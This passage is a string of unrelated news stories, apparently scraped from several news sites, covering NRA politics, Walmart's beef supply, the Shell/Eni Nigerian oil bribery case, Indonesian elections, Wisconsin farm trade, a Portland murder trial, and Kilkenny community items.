campaigns, much of the legislation the group championed has stalled, due, in part, to a series of mass shootings, including the massacre at a Parkland, Florida, high school that left 17 dead. Adam Winkler, a UCLA law professor and expert on gun policy, allowed that the group had scored some victories under Trump, including the appointment of two Supreme Court justices who may be open to striking down gun laws. But overall, he said, "On the legislative front, the NRA has been frustrated," with priorities like national reciprocity for conceal carry laws and a repeal of the ban on silencers stalled. Instead, Trump introduced a new federal regulation: a ban on bump stocks after a man using the device opened fire on a crowd of concertgoers on the Las Vegas strip, killing 58 people and wounding hundreds. That bothered some members attending the convention, even as many donned "Make America Great Again" hats and cheered Trump loudly. Mike Cook, who works at a shipyard in Alabama, said he's been disappointed that gun rights haven't seen much movement under Trump. The bump stock ban, in particular, upset him because it was done administratively by Trump officials. He's uncertain if the millions spent on Trump's campaign in 2016 were worth it. But, he said, Trump is "better than the alternatives." Walmart is getting into the beef business. The nations biggest grocer has partnered with a Texas cattle rancher and other industry-related businesses to provide a steady supply of no-hormone-added Angus beef to 500 of its U.S. stores beginning later this year. The move comes two years after Walmart upgraded its steaks and roasts to higher-quality Angus, part of a broader push to improve the quality of its fresh foods amid intensifying competition in the $840 billion grocery sector. Tyson Foods and Cargill currently provide Walmart with most of its beef, and will continue to do so. But Scott Neal, who runs Walmarts meat business, said the retailer also wanted to form its own supply partnership in response to customer demands to know more about who actually grows the food found in supermarket aisles and where it comes from. The company estimates the effort will trim costs and create about 450 jobs. We are creating a supply chain from the cow-calf side all the way through to the customer, Neal, the retailers senior vice president of meat, seafood and fresh quality control, said in an interview. This is an opportunity to look at it from end to end. This is a time-sensitive issue. We need it now. I dont know what the state of anything is going to be when we come back in two years to do another budget, she said, adding that emergency or discretionary funds, or money from Homeland Security, could maybe be used. Right now, I have no idea. lements of Sri Lankas government had been warned weeks ago of impending terrorist attacks but failed to share the information. Quite possibly as a consequence, they then failed to prevent the bloody Easter Sunday bombings, or at least to protect the more than 300 people who were killed and the hundreds who were wounded. Without in any way diminishing the culpability of the suicide bombers or their co-conspirators, blame for the killings also falls on the dysfunctional relationship between President Maithripala Sirisena and Prime Minister Ranil Wickremesinghe, who havent cooperated since a government crisis began in October. Sirisenas security council had frozen out Wickremesinghe, so details offered by intelligence officials in India and the U.S. as early as April 4 went unheeded by anyone who could act on them. The perpetrators are alleged to be the National Thowheed Jamath, a home-grown Islamist group. Its targets were Christian worshipers and Western tourists. But the sophistication of the bombings suggests the involvement of other terrorist groups, and Islamic State reportedly claimed the attack was in retaliation for the March 15 shooting attack on Muslims in New Zealand. New analysis shows Shell and Eni used Nigerias share of oil to fund their alleged billion dollar bribery scheme. Mr Olanrewaju Suraju, Chairman, Human and Environmental Development Agenda Resource Centre (HEDA), a non-governmental organisation disclosed this on Thursday in Lagos. He had this to say: It must have been a good day at the Shell and Eni offices when they signed their contracts for the OPL 245 oil fields in Nigeria. Not only had they secured rights to one of Africas most promising oil blocks, they had also funded an upfront payment for it by including terms which granted them Nigerias share of oil. The contracts they signed would be treated as a production sharing contract under Nigerian law. However, new research commissioned by Global Witness (PDFs here and here), together with our partners at HEDA, RE:Common and The Corner House, has found that the contract actually most resembles a sole risk contract a kind not given to international oil companies since Nigerias late dictator Sani Abachas military regime fell in the 1990s. So, why would signing a military-era contract have made the day for Shell and Enis executives, several of whom are now standing trial in Milan on international corruption charges? Research carried out by oil experts at Resources for Development Consulting has found that the terms of the contract reduced the Nigerian governments likely share of revenue from the fields by $5.86 billion over the lifetime of the project. This is compared to a standard contract the companies might have been awarded and assuming a future oil price of $70 per barrel. The money Nigeria stands to lose is the equivalent of two years worth of Nigerias entire healthcare and education budget combined money badly needed to build schools and pay doctors. Whats even worse if thats possible is that without these extraordinary terms, the companies would not have been able to stump up the massive $1.1bn upfront payment they made for the block in 2011. This payment has been at the centre of the scandal surrounding the license since Global Witness started reporting on the story in 2012 and it is now at the centre of the criminal trial of the companies and their top executives. While Shell and Eni claimed their deal was only with the Nigerian Government, the money was in fact destined for former Oil Minister and convicted money launderer Dan Etete, who, according to prosecutors, used the cash to pay massive bribes to people including former Nigerian President, Goodluck Jonathan. Thats right Shell and Eni used Nigerias share of oil to fund an alleged bribery scheme, which saw money flow from the companies to shady individuals, instead of the Nigerian state and ultimately the Nigerian people. Theres more. The deal heavily restricts the Nigerian statesability to buy their rights back requiring the country to pay $650m plus interest up-front to re-acquire their rightful stake. And under the type of contract the companies pushed for, that stake would only pay back an estimated $2 billion in future revenue- much less than Nigeria would have made under the standard contract. The International Monetary Fund advises that a mature oil-producing nation like Nigeria should receive between 65% and 85% of oil or gas proceeds once costs are taken into account. Had standard contract terms been used on OPL 245, Nigeria would be set to receive around 65%: not perfect but within the IMFs range. Under the deal Shell and Eni secured, Nigeria will only see a projected 41% or 45% if Nigeria found that spare $650m plus interest to buy back some of their stake. The OECD says the extractives sector is the most corrupt on the planet, and prosecutors in Milan and Nigeria seem to agree in this case. This scandal has led to an unprecedented trial in Milan where Shell, Eni, their executives and Dan Etete are being prosecuted for international corruption offences. Nigeria is also pursuing civil claims against the oil giants over the deal, in which they claim Shell and Eni engaged in bribery and unlawful conspiracy to harm the Federal Republic of Nigeria and that they dishonestly assisted corrupt Nigerian government officials. It remains to be seen what will result from these legal actions. All the defendants have insisted on their innocence. But it is clear that Shell and Eni still hope to profit from this scandalous deal when it should not be allowed to stand. Indonesia has carried out democratic elections enormous in scale and importance, including for Americans. As usual currently, most of our media have ignored or only briefly noted this important news. The largest one-day elections in the world occurred on April 17. Unofficial vote tallies indicate incumbent President Joko Widodo is winning with approximately 55 percent of the votes cast. Final returns, however, will not be in for some time. Last year, the Gallup Poll found that an unprecedented 75 percent of Indonesians believe elections are honest. This is the highest percentage ever, in a longterm upward trend in confidence. Gruesome earlier events provide important backdrop. In May 2018, the Islamic State conducted bloody terrorist attacks in Surabaya, Indonesias second largest city. Terrorism is persistent though not frequent in Indonesia. In a 2016 attack, four people died. In 2002, the worst attack killed 202 people on Bali, including many foreign tourists. These crimes have only strengthened Indonesian hostility to terrorism. Terrorist bombings in Sri Lanka over Easter weekend further reinforce such sentiments. Meanwhile, Malaysia parliamentary elections in May 2018 resulted in a stunning upset. The governing party was defeated and an opposition coalition successful. The Barisan Nasional and predecessor party had governed Malaysia from independence. New Prime Minister Mahathir Mohamad at 92 years old is the oldest head of government in the world. Mohamad secured a pardon for jailed opposition leader Anwar Ibrahim. Indonesias election took place in the worlds largest nation with a Muslim majority. Geography including trade routes provides Indonesia and Malaysia with great strategic significance. The international and foreign policy implications are self-evident, for the United States and other nations. Washington now has an opportunity to highlight Indonesia, and neighboring nations, as success stories of expanding political stability, modernization and the rule of law. In 1998, opponents forced Indonesias long-time autocratic president and former general Muhammad Suharto from power. Since then, the nation has had representative government. Indonesias international conflicts today are largely technical and legal, notably the maritime disputes which generally involve the nations of East and Southeast Asia. Dictatorship has ended, but corruption remains a problem. The situation used to be quite different. During the height of the Cold War, Indonesia was regarded as a pivotal leader among Third World nations. Flamboyant nationalist President Sukarno played the Soviet Union and U.S. off against one another. CIA efforts to bring Sukarno down were frustrated, a sobering experience quickly overshadowed by Vietnam. By the mid-1960s, cooperation between Indonesia and the Soviet Union was moving forward. This development was extremely important in the decision for large-scale U.S. military intervention in Vietnam in 1965. Today, we largely have forgotten this history. British forces, with Australian and New Zealand allies, defeated Indonesia attacks on Malaysia. Earlier, Britain defeated a virulent, aggressive Communist insurgency in Malaya, which today is part of Malaysia. Among other factors, Britains military avoided introduction of massive firepower, in contrast to the U.S. military strategy in Vietnam especially from 1965. To be sure, the British military employed air strikes and artillery, but relatively selectively. Officials rightly regarded heavy bombing as counterproductive. In the same category was the American emphasis on free-fire ones relatively early in the Vietnam War. The U.S. government has opportunities to strengthen ties with Indonesia, and through disciplined diplomacy throughout the enormous South and Southeast Asia regions. All we need is the will, the skill and the maturity. Arthur I. Cyr is Director of the Clausen Center for World Business at Carthage College and author of After the Cold War. Contact acyr@carthage.edu Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. To help cut through the confusion surrounding the Great Lakes water diversion debate, award-winning author Peter Annin spoke Wednesday at Carthage College as part of the Gunderson Lecture Series. Annins talk was titled Great Lakes Water Tension in the 21st Century. Last fall, Annin published a major revision of his 2006 award-winning book, The Great Lakes Water Wars, a book discussing the Great Lakes water tensions in this region and beyond. Annins research and perspective on the future of the Great Lakes helps inform the Carthage community, and the entire region, about the challenges we face regarding sustainable water practices, said Tracy Gartner, professor of environmental science and biology at Carthage. From Waukesha to Foxconn to the massive water diversion in Chicago, this issue continues to make news across the region. Throughout recent history, southeastern Wisconsin has been on the frontline in the Great Lakes water diversion debate, especially in Waukesha, New Berlin, Mount Pleasant and Pleasant Prairie. Annin is the director of the Mary Griggs Burke Center for Freshwater Innovation at Northland College in Ashland, Wisconsin. He previously served as managing director of the University of Notre Dames Environmental Change Initiative. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 BURLINGTON A panel representing Wisconsin growers and producers Thursday stressed to U.S. Congressman Bryan Steil, R-Janesville, the fate of famers relies on their ability to export, and the elimination of retaliatory tariffs. Steil, who held an agriculture and trade field hearing in Burlington, and federal administration officials heard how important timely passage of the United States-Mexico-Canada Agreement is to the future of the industry. We cannot add cows and milk our way out of this recession, Cindy Leitner, president of the Wisconsin Dairy Alliance, said. The dairy industry is in a crisis. This trade agreement has to be approved. The retaliation tariffs have got to be removed. Weve got to do it quickly. We cant wait six months. We have been doing this for five years. Our industry is out of time. They also heard from bankers how prices lower than the cost of production have affected their clients, who have had to restructure their debt, defer equipment purchases and maintenance, tap into their real estate equity or file for bankruptcy. We need to make sure we have a place to take our products we are growing and raising here in Wisconsin and be able to sell them around the globe, Steil said. I think that is mission critical. He said he was disheartened to hear how many farmers have called it quits. I did not grow up as farmer, so I am spending the time and effort to make sure we fully understand what is going on in our agricultural community, to make sure we are protecting farmers and we dont have farmers who are told they should no longer farm; they should hold on to their equity, Steil said. Steil said the goal needs to be to improve market access for farmers in Canada and Mexico and that the USMCA provides a template for future trade agreements. It is imperative we get it right, Steil said. Aaron Stauffacher, director of public affairs for the Edge Dairy Farmer Cooperative, said while the number of dairy farms are down, agriculture is still important to the 1st Congressional District. There are about 190 dairy farmers left in your district and about 35,000 cows, Stauffacher said. She said USMCA builds on the improvements already secured through the North American Free Trade Agreement. Pre-NAFTA we were exporting about 3 percent of our product, and today, based on last years numbers, were exporting about 15.8 percent of dairy products in terms of milk solids, Stauffacher said. When you think about it, one day of every weeks milk production is leaving or borders. Our NAFTA trading partners account for about 40 percent of that. John Scott, a Racine County dairy producer and member of the Farm Bureau, said the USMCA checks a lot of the boxes, Its time to take action on this, Scott said. Randy Hughes, a producer from Rock County, said if U.S. producers cant be a reliable source of food for Mexico and Canada, it could affect market shares in other countries. The longer we go, the less dependable we are, Hughes said. The rest of the world is really gong to start to doubt us. We need this, Congressman Steil. We need this really bad. Love 1 Funny 0 Wow 1 Sad 0 Angry 0 Two area high school students will start full-time jobs as carpenter apprentices after graduation this spring through a partnership with their schools, a regional union and a Kenosha construction company. Tyler Dabbs, a Tremper High School student, and Nathan Voge, who attends Union Grove High School, took part in a signing day Thursday for their formal full-time apprenticeships with sponsoring contractor Riley Construction, a union contractor. The program is also sponsored by the North Central States Regional Council of Carpenters, which represents 27,000 union members and their families from 46 local unions in Iowa, Minnesota, Nebraska, North Dakota, South Dakota and Wisconsin. As apprentices, they will also join the local union. Jim Anderson, business representative for the regional union, said that much like the national signing day that is held for athletes, students choosing a career in the skilled building trades also should be celebrated. Were here today for a very big moment in two young mens lives; they decided to take a higher education into the skill trades, he said during the ceremony held at Riley Construction, 5903 99th Ave. Dabbs and Voge currently work for Riley part time in youth apprenticeship programs through their schools. With our partner schools and with our partner contractors we get younger people into our job sites and see that working with your hands is a great career, Anderson said. Voge and Dabbs have spent much of their youth apprenticeship hours working on the addition to St. Catherines Medical Center in Pleasant Prairie. The students said they were looking forward to starting their jobs right after graduation. Its awesome, Voge said. I like (working with Riley) a lot better than non-union companies because its commercial and youre exposed to more things. Im excited. Very excited, Dabbs said. Im going to be working full time. Fulfilling career Dave Riley, the companys chairman, recounted how his dads first job was as a laborer assigned to dig a basement for an existing house. And, when he came out of the home that day, the owner of the company looked at him and said, Are you going to be back tomorrow? And, my father said, Why wouldnt I be back tomorrow? The company owner told Rileys father that the last three workers he assigned for the job quit that day. The purpose of the story is that you work hard and you will be rewarded, he said. Were very happy that you guys are entering into the apprenticeship and soon to be a carpenter, and I think it will be very rewarding for you guys. Its a great industry, and were happy to have you. A.J. Mueller, tech ed teacher at Tremper High School, said he was super proud of Dabbs and how he has developed over the last four years. It kind of feels like a graduation day for me, too, watching him sign, he said. Anything you give to him it doesnt matter if its sweeping a floor or cutting rafters hes going to put 100 percent into it. ... If anybody deserves it and has earned it, its definitely Tyler. Dabbs mother, Laura, noted that Tylers grandfather worked for Riley. This is really special to us, she said. I look forward to watching Tyler grow in his path. Im thrilled that its in this environment with Riley and under that leadership. Voges father, Dan, praised his sons work ethic, saying he goes to the job site early in the morning before attending school full time. Im very proud of him, he said. Joel Adamczyk, Union Grove High School associate principal, said the school is establishing a new academy program for construction, saying it is important to expose students to the skilled trades through partnerships with companies such as Riley. Were committed as a high school to work with the partners and give them some quality workers, he said. Love 7 Funny 0 Wow 2 Sad 1 Angry 3 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A semi-trailer fire early Friday morning closed a portion of I-94 in Kenosha. No injuries were reported. According to the Kenosha County Sheriffs Department, the truck caught fire in the 2500 block of the interstate at about 3:30 a.m. All southbound lanes of traffic were closed at Highway 11 in Racine County, and traffic was re-directed. At approximately 5:35 a.m. two lanes of traffic were opened up. The truck was reportedly carrying produce and no hazardous material. Part of the trailer appeared to have melted to the roadway, complicating its removal and clean-up of the scene. The Somers Fire Department, Wisconsin State Patrol, Racine County Sheriffs Office, as well as fire and rescue personnel from Kenosha, Pleasant Prairie and South Shore Fire Department, responded to assist at the scene. The cause of the fire remains under investigation. Love 0 Funny 0 Wow 1 Sad 0 Angry 0 In stark contrast to Bill Cheneys Voice of the People, the Mueller report portrays an unethical and criminal president. He claims the Democrats will run away from the report. On the contrary, Democrats and freedom-loving Americans want to know more. Collusion was never a legal term so it was never expected that Mueller would pass a judgment on that. Even though it is not criminal in nature, colluding with Russia would never be done by a president with love of country over love of self. Mueller recognized that because of the Department of Justice restrictions not allowing him to subpoena or indict the president, he did the next best thing. He noted that presidents can be called to justice after their term is over and, as such, he is protecting his records. He also made it clear that Congress has the ability to address both conspiracy and obstruction of justice through other channels. One thing is certain. Cheneys letter and the claims of Trumps attorney general and his Republican brethren that Muellers report somehow exonerates the president are inaccurate and will be exposed in the coming months as a shallow attempt at preservation. In the meantime, as Mueller made it clear, Russia continues to attack us with no response from the president or his supporters through their creative attempts to rewrite the report. Jerome Chip Prybylski Kenosha Love 1 Funny 0 Wow 0 Sad 0 Angry 0 The new body, the Kankakee River Basin and Yellow River Basin Development Commission, will take office in July. It will have nine members one from each Indiana county in the Kankakee River basin, plus the Indiana Department of Natural Resources director. The current commission has 24 members three from each county. Methodist Hospitals has promoted Kim Innes, Julie Kerns and Dena McCormick to assistant vice presidents. Innes has served as Methodist Hospitals Orthopedic Service Line Director for more than six years. She has more than 20 years of strategic planning, business development and team building experience in the healthcare industry. Innes holds a Masters degree in Business Administration from Indiana Wesleyan University. Kerns has worked at Methodist Hospitals for 15 years. Her career at Methodist has encompassed a wide range of positions. She began as an RN, followed by supervisor of employee health, clinical nurse manager, oncology nurse navigator and most recently as director of nursing quality and regulatory compliance. Kerns holds a Master of Science degree in Health Informatics from the University of Illinois in Chicago. McCormick has worked at Methodist Hospitals for 11 years. She has more than 20 years of experience in health care quality and regulatory compliance and led Methodist Hospitals in earning the Joint Commissions Gold Seal of approval for hospital accreditation. McCormick holds a Masters degree in Business Administration from Governors State University. PORTLAND, Ore. (KGW) -- The man charged with a deadly 2017 MAX attack shouted at one of his alleged victims in court. Deputies quickly removed Jeremy Christian from the pre-trial hearing Friday morning. Liar, liar! Christian yelled. The outburst occurred as the judge heard from witness Demetria Hester. The Portland woman, who is African-American, said she was assaulted by Christian the day before he allegedly stabbed three people while riding the MAX, killing two of them. During Fridays hearing, Hester was asking the judge to deny a request by the defense team to delay the trial, scheduled for June. Hes just expressing himself -- thats him. An angry, white racist, said Hester after the hearing. The judge postponed arguments until next Friday on whether Christians trial should be delayed. The defense claims it needs more time to prepare for trial. Additionally, the defense claims proposed legislation on Oregons capital punishment scheme could have an impact on any conviction. I mean weve been enduring this for two years. How much longer do we have to endure this kind of torture in our lives? asked Hester. Christian's attorney Greg Scholl said in court documents that his client agrees to waive the right to a speedy trial. Christian is scheduled for trial in June on aggravated murder charges for the May 26, 2017 attack on the TriMet mass transit line. Christian is accused of spewing hate speech at two black teenage girls on a MAX train in Portland near the Hollywood train station, and then stabbing three men who stepped in to intervene. Two of the victims, 53-year-old Ricky John Best and 23-year-old Taliesin Myrddin Namkai-Meche, were killed. The third victim, 21-year-old Micah Fletcher, was wounded but survived. While in jail awaiting trial, Christian has been singled out for violence against other inmates. Scholl said he needs an extension simply to prepare for the trial, specifically reaching a number of witnesses to the attack. The possibility of a settlement in the case also requires added negotiations layered on top of preparation for a trial, he said. A settlement hearing is scheduled for May 13. Potential changes in sentencing for major Measure 11 crimes are now being debated in the state legislature and could affect Christian's fate, Scholl said. This year's session is expected to last into June. Scholl said prosecutors agree with his latest requests. A previous request for a change of venue for the trial was denied. SPRINGFIELD, Ore. -- After teachers in two local school districts announced plans to walk out on May 8, Springfield teachers say they'll be taking action to support education funding in their own way. Educators in the Bethel School District and Eugene School District 4J will be joining the statewide call to action, organized to fight for more education spending at the state level. Classes at schools in those districts will be canceled, district officials said, citing a lack of substitutes. RELATED: 4J, Bethel schools to close for May 8 walkout, officials say Springfield Education Association President Anne Goff told KEZI 9 News that as soon as school is out that Wednesday, teachers, families and community members will meet at 3:15 p.m. at Pioneer Parkway. They plan to line Main Street on both sides, turning it red for education. Goff said they held a vote, and union members decided to take action after school instead of canceling school on that day. "We picked a certain threshold that we had to meet for people saying, 'Yes, we will walk out.' We were a tiny bit short of that threshold, so the fallback position was to do an afterschool one, Goff said. The Springfield Education Association chose an 80 percent threshold, which is what they typically go by when making big decisions. Goff said districts across the state need smaller class sizes, more mental health support, counselors in every building, more nurses and up-to-date textbooks. Parent Katy Malone said increased funding for schools is much needed across the state of Oregon. "When my second-grade daughter is telling me they dont have enough things in their class to do their project -- crayons and stuff like that -- thats a problem, Malone said. Malone told KEZI we need better support for our children, and this is a step in the right direction. With people on the spectrum, everything varies. One kid might run away if theyre scared, another might get violent, and another might not be able to tell you whats going on or you might not be able understand what theyre trying to tell you, said Justin Orange, who facilitates the programs officer training with East Chicago Deputy Police Chief Hector Rosario. Our training and experience (as officers) builds us to react, and as we were doing the training, there were officers who were oblivious to what autism was. Today, the home has been restored and transformed into The Valparaiso Inn, which opened last year with Berman and Bryant as the proprietors. Bryant, who is an English and writing professor at Purdue University Northwest, helps with the cleaning and linen duties, and Berman, who is also a licensed therapist, handles much of the cooking and kitchen chores. Originally from Virginia, the couple will celebrate their 30th wedding anniversary in August 2019 and they love their new identities as innkeepers hosting guests to enjoy historic accommodations. The Royal Institute of the Architects of Ireland (RIAI) and the Simon Community are reminding people of Kilkenny to sign up to the 15th annual RIAI Simon Open Door campaign. In return for a 95 donation, homeowners can receive an hour-long consultation with an RIAI-registered architect to discuss building, rebuilding or renovating their homes. All funds raised go directly to the Simon Community to support their work in tackling homelessness. Slots for consultations are still available in Kilkenny for the campaign, RIAI Simon Open Door, that runs from Saturday, 11th May until Sunday, 19th May. Due to demand in previous years, the initiative has been extended to run for 9 days including two weekends, giving lots of opportunity to find a consultation time that suits. One of the countrys best-known architects, Dermot Bannon, was on hand to launch the campaign, and to encourage his fellow RIAI architects to take part and raise funds to help tackle the housing and homeless crisis. Last years event was the most successful yet, architects across Ireland held a total of 1,820 consultations with homeowners to discuss renovations, rebuilds and new homes with a record sum of 163,800 raised. For 2019, sights are set on reaching a grand combined total of 1 million raised over the 15 years of the RIAI Simon Open Door initiative, and the RIAI and the Simon Community are calling on homeowners to get involved. Registration for the event is now open and people are encouraged to book a slot with an RIAI-registered architect in their local area by visiting www.simonopendoor.ie Southeast Simon Community South East Simon Community supported 24 Housing First Service Users over the course of 2018. Our Tenancy Support & Sustainment worker provided support to 27 tenants in general needs accommodation over the course of 2018. Provided a Housing Advice and Information service in Clonmel 1 day a week, giving advice to over 105 homeless families and individuals over 2018. South East Simon Housing First Staff also provides Outreach support to Rough Sleepers in Waterford City in partnership with the HSEs Substance Misuse Outreach Worker. Speaking at the launch, Kathryn Meghen, RIAI CEO said: Architects design houses that build lives and sustain communities. We would like to thank all our RIAI-registered architects who get involved every year in this great cause to support the Simon Community in assisting people move out of homelessness and on their journey home. Building is complex, and this event allows RIAI registered architects to give homeowners some sought after advice and explore the different building options available to them. Were encouraging people to book early to avoid disappointment as the slots tend to fill up quickly. Paul Sheehan, National Spokesperson for the Simon Community said: Unfortunately, in Ireland, homelessness continues to be a challenge with almost 10,000 men, women and children in emergency accommodation and many thousands more experiencing housing insecurity. RIAI Simon Open door is a unique fundraising opportunity which raises much needed funds for the Simon Community to address the housing and homelessness crisis around the country. We are delighted the RIAI are partnering with us for this great initiative again this year. Since RIAI Simon Open Door began in 2005, over 850,000 has been raised and we are really hoping that we reach the grand total of 1,000,000 this year. RIAI-registered architects can pledge to donate an hour of their time by signing up at www.simonopendoor.ie/ architects Architects who have queries relating to registering their practice for the RIAI Simon Open Door campaign are asked to email Emma at egilleece@riai.ie A Kilkenny man who fought for Australia in World War I but whose memory all but slipped into obscurity was finally recognised by his adopted country at the weekend. For the last 70 years John Dwyer, a native of Clara, Co Kilkenny, was buried in an unmarked grave in a Western Australian cemetery. Details of his life and final resting place were only pieced together late last year by his great grandnephew, Peter Dwyer from OLoughlin Road, Kilkenny city. Peter flew to Perth last last week to attend a special ceremony to dedicate a headstone on his ancestors grave. His own father, Peter Senior and the nephew of John, was not able to make the journey, but Peter was accompanied by his father-in-law Edward Somers. Peter shed a tear at an emotional graveside gathering as military honours, including bag pipes and The Last Post on a bugle, sounded for him as men dressed in military uniforms of the time provided a guard of honour. Honorary Irish Consul Marty Kavanagh read WB Yeats poem An Irishman foresees his death and recognised his life, decency and sacrifice on behalf of the Irish government. Several members of the Irish community in Perth - including Dublin born WA state government minister Stephen Dawson - veterans, representatives from the Returned Services League and descendants of other soldiers who served with him attended the event at Karrakatta Cemetery, in Perths western suburbs. Emotional Journey Its been quite a journey to get here, emotionally and literally, said Peter. To discover Johns story and within six months to be here for a dedication to his memory is quite surreal. Peter said that the family lost all trace of John when he emigrated to Western Australia in about 1911. But when he went looking for information about him late last year he was surprised by the amount of Australian military records he found about him online. John was in WAs goldfields region when World War broke out and he was one of the first Australians to enlist with the Australian Imperial Force. He joined the 11th Battalion was in the first deployment of Australian soldiers - commonly called Diggers - sent to Egypt and then onto Gallipoli (the Dardanelles) in Turkey. The Gallipoli invasion which started on April 25, 1915 was the first time the country had gone to war as Australians, having become an independent nation (from Britain) on January 1, 1901. Gallipoli proved to be a military failure for Australia (and the Allied Forces) but the values of mate-ship, sacrifice and bravery the Diggers showed during this campaign - their first of WWI - and the date of their landing have been celebrated every year since as a national day of commemoration called ANZAC Day (Australia and New Zealand Army Corp). Lance Corporal John was injured in the fighting at Gallipoli and after a period of rehabilitation was returned to his Battalion and the battlefield until Australias 20,000 troopers were evacuated from the bloody quagmire under the cover of night in December 2015. John also served in France and saw some of the heaviest action of the Great War. He was wounded further but survived the conflict. Respectful Tradition Peter said Australia has a long and respectful tradition of honouring Gallipoli and its war dead and he is proud his grand uncles place in it has been finally recognised. But he said it is one that Irish people could also embrace. On the day of the April 25 landings, there were two Irish regiments (of the British Army) the Munster Fusiliers and the Dublin Fusiliers, he said. They lost so many men that they had to be amalgamated and became known as the Dub-Sters. About 4,000 Irish men were killed at Gallipoli - with many thousands more injured - about half the number of Australian and New Zealander fatal casualties. John returned to Western Australia and what had always been a tough life for him, continued after the war, Peter added. He died in 1950 from cancer, having suffered all his life from his war wounds but I take some comfort from the fact that the RSL branches wherever he was supported him and that in the last two years of his life he was cared for here in Perth in an old repatriation hospital for soldiers. John did not have any riches but now his good name will live on forever and be remembered. Peters father of the same name and Johns nephew was not able to make the journey with him but his father in law Edwards Somers from Westmeath did accompany him. ANZAC Day (April 25) is the last day of their short visit to Perth but the two men plan to attend the Dawn Service in Kings Park, Perth, which attracts up to 50,000 people and is the biggest of its kind in Australia. Parade The two men have been invited to march in the ANZAC Day parade through Perth by the 11th Battalion Association. Serving military personnel, veterans and family members wearing the service medals of their loved ones who served are entitled to parade. Peters father in law said his uncle had enlisted with the American army and was amongst the soldiers who landed at Omaha Beach as part of D-Day, June 6, 1944. Lloyd Gorman is editor of Irish Scene magazine www.irishscene.com.au and a reporter with the POST Newspaper in Perth and attended the headstone dedication ceremony Three well-known local children were on hand to help launch the annual Carer of the Year awards for 2019. Harry and Molly Flynn from Ferrybank are currently Young Carers of the Year. They are siblings to Isabelle Flynn, who has Cerebral Palsy and Apnoea which causes her to stop breathing. The Flynn family were told she would never walk, talk or have the use of her hands or legs, but through Harry and Mollys constant attention and support they have taught her how to sit up, crawl, to hold a spoon and feed herself. They have also saved her life on numerous occasions by performing CPR when she stopped breathing on a bouncy castle, at the beach and in a shopping trolley. The pair were last year honoured by Kilkenny County Council with a Civic Reception for their work - and a Kilkenny People of the Year award. The Carer of the Year awards launch was hosted by broadcasters, and patrons of the charity, Mary Kennedy and Marty Whelan in Dublin. The Carer of the Year Awards are held by Family Carers Ireland to recognise and celebrate the remarkable contribution of Irelands 355,000 Family Carers, with 7,854 of these from Kilkenny. Family Carers Ireland take pride in recognising the huge sacrifice and commitment made by Family Carers in Ireland through the Carer of the Year Awards. Irelands Family Carers are providing on average 45 hours of care each week in their homes with many providing 24/7 care. The impact financially, socially and in terms of their own physical and mental health can be immense. Family carers play a key role in alleviating the ongoing problems within our health care system such as bed shortages, over-crowding and long waiting lists. The dedication and sacrifices made to achieve this are often overlooked and not fully understood. The awards offer an opportunity for family carers to be acknowledged in their own right," said Catherine Cox, Head of Communications. Family Carers Ireland encourage communities, health professionals, friends and families of Carers and Young Carers to nominate them for the 2019 Carer of the Year Awards. Nomination forms are available online at www.familycarers.ie or through contacting the Freephone National Careline 1800 240724. The Carer of the Year Awards will be presented at a ceremony in Dublin, in November 2019. See www.familycarers.ie. There are 13,332 people living in Kilkenny with a disability or chronic illness. This represents 13% of the entire population of the county. Four out of every five people with disabilities acquired their disability during their working lives. This year alone, over 56,000 people will be diagnosed with a disability for the first time. Census statistics show that of people with a disability age 15 years and over in Kilkenny, 22% were at work compared to 53% of the general population of the same age. Today, 26% of adults in Ireland with a disability live in consistent poverty. People in Kilkenny, who care about living in a fair society, are gravely concerned. Every person in Kilkenny, living with a disability is also a family member a son, daughter, sibling, or parent. The lack of supports and services for people with disabilities encompasses a far larger percentage of Kilkennys population than assumed. Locally, access to services, including physiotherapy, speech and language therapy, personal assistants and other key supports are now totally insufficient. Furthermore, people with disabilities are not entitled to participate in many employment programmes and are further excluded from the labour market. Kilkenny County Council is responsible for services that are of crucial importance to those with disabilities. They include housing, planning, public facilitiesand education and training. Mr PJ Cleere, Disability Federation Ireland Support Officer for Co. Kilkenny said: People with disabilities are a core element of community life in Kilkenny. Their voice must be heard. Providing necessary supports to enable Kilkenny people with disabilities to live as equal citizens will benefit every one of us. In the forthcoming local elections, we will be asking all aspiring local government representatives to embrace the needs of people with disabilities and reflect this in the priorities they put before the electorate. People with disabilities, their families and supporters are a sizeable electoral demographic and they will remember those candidates who place disability at the centre of their political agenda. Since 2008, there has been a steady erosion of services and supports for people with disabilities. As a result, people with disabilities are more likely to live in poverty than others. Ireland officially exited recession in September 2013. However, people with disabilities in our community are in a far weaker position than before the recession, PJ said. The Disability Federation of Ireland is calling on Kilkennys local election candidates to set out their plans in their election manifestos for improving the lives of the constituents of Kilkenny who have disabilities. Fianna Fail TD for Kilkenny, Bobby Aylward has called on the Minister for Health to immediately examine the supports available to GPs who seek to establish practices, in particular in regions which have seen their decline in recent years. Deputy Aylward said the 210 million revised GP contract must provide incentives for new graduates to set up in Ireland as opposed to traveling abroad for better pay and conditions. Rural communities across Ireland are suffering from a deficit of GPs. This trend has worsened over time as more and more established GPs retire. In fact according to the IMO over 600 GPs are due to retire in the coming years. Kilkenny and Carlow have both seen the loss of GPs recently, one in Thomastown and one in Carlow town. These practices provide crucial step-down care support to older people on discharge from St. Columba's Hospital, Thomastown, and Sacred Heart Hospital, Carlow. Several GPs around the constituency contacted me to express their great concern that it would be very difficult to replace these doctors who are so crucial to their local communities. The doctors I have spoken to feel the recruitment and advertising methods being implemented are not effective," Deputy Aylward explained. We are not doing enough to incentivise young doctors to take up medical practice in this country, especially in rural areas. We cannot allow a situation to arise where rural communities across the country are left without any access to local GPs. While I remain hopeful that the 210 million announced for investment in general practice will entice some doctors to stay, I do not think that it will go far enough to address the systemic problems, concluded Deputy Aylward. Two local gardai had to go a little bit out of their way yesterday to come to the rescue of a stranded American visitor. Garda Joyce and Garda Stephen Hogan, who are part of Kilkenny's Community Engagement team, were out on the beat when they happened across a lady visiting Ireland from Dallas, Texas. It seems the American tourist was on a day trip to Kilkenny from Dublin, but she had badly hurt her foot and was in need of assistance. In a post on social media, Garda Siochana Kilkenny/Carlow revealed that the pair brought her to St Luke's Hospital where she received treatment. They called back in on her later to see how she was doing, but by the time she was fit to be discharged, 